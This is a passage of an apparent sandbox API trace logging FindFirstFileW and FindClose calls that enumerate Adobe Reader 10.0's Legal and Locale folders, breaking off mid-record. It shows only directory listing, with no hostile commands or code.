[0029.804] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.804] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.804] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.805] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.806] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.806] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.806] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.810] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.811] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.811] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.811] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.815] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.815] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.817] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.817] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.818] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.818] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.821] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.821] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.823] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.823] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.826] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.826] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.830] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.830] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.830] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.832] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.833] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.833] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.833] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.835] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.835] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.836] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.838] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.838] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.841] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.842] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.844] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.844] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.847] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.848] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.848] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.848] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.850] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.850] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.856] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.856] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.857] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.857] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.859] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.860] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.860] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.860] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, 